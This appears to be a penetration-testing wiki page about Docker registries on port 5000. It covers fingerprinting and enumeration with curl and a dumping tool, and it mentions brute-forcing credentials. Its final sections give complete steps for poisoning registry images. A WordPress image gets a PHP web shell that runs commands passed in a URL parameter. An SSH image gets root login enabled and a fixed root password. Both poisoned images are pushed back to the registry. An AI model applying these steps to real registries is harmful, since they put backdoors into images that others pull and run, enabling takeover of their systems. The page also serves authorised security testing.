Basic Information
A storage and distribution system known as a Docker registry is in place for Docker images that are named and may come in multiple versions, distinguished by tags. These images are organized within Docker repositories in the registry, each repository storing various versions of a specific image. The functionality provided allows for images to be downloaded locally or uploaded to the registry, assuming the user has the necessary permissions.
DockerHub serves as the default public registry for Docker, but users also have the option to operate an on-premise version of the open-source Docker registry/distribution or opt for the commercially supported Docker Trusted Registry. Additionally, various other public registries can be found online.
To download an image from an on-premise registry, the following command is used:
docker pull my-registry:9000/foo/bar:2.1
This command fetches the foo/bar image version 2.1 from the on-premise registry at the my-registry domain on port 9000. Conversely, to download the same image from DockerHub, particularly if 2.1 is the latest version, the command simplifies to:
docker pull foo/bar
Default port: 5000
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
Discovering
The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it.
Some fingerprints:
- If you access
/nothing is returned in the response - If you access
/v2/then{}is returned - If you access
/v2/_catalogyou may obtain:{"repositories":["alpine","ubuntu"]}{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
Enumeration
HTTP/HTTPS
Docker registry may be configured to use HTTP or HTTPS. So the first thing you may need to do is find which one is being configured:
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
Authentication
Docker registry may also be configured to require authentication:
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
If the Docker Registry is requiring authentication you can try to brute force it using this.
If you find valid credentials you will need to use them to enumerate the registry, in curl you can use them like this:
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
Enumeration using DockerRegistryGrabber
DockerRegistryGrabber is a python tool to enumerate / dump docker degistry (without or with basic authentication)
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url

Enumeration using curl
Once you obtained access to the docker registry here are some commands you can use to enumerate it:
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests

#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
{% hint style="warning" %} Note that when you download and decompress the blobs files and folders will appear in the current directory. If you download all the blobs and decompress them in the same folder they will overwrite values from the previously decompressed blobs, so be careful. It may be interesting to decompress each blob inside a different folder to inspect the exact content of each blob. {% endhint %}

Backdooring WordPress image
In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it.
Create the backdoor:
{% code title="shell.php" %}
<?php echo shell_exec($_GET["cmd"]); ?>
{% endcode %}
Create a Dockerfile:
{% code title="Dockerfile" %}
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
{% endcode %}
Create the new image, check it's created, and push it:
docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it
Backdooring SSH server image
Suppose that you found a Docker Registry with a SSH image and you want to backdoor it.
Download the image and run it:
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
Extract the sshd_config file from the SSH image:
docker cp 4c989242c714:/etc/ssh/sshd_config .
And modify it to set: PermitRootLogin yes
Create a Dockerfile like the following one:
{% tabs %} {% tab title="Dockerfile" %}
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
{% endtab %} {% endtabs %}
Create the new image, check it's created, and push it:
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
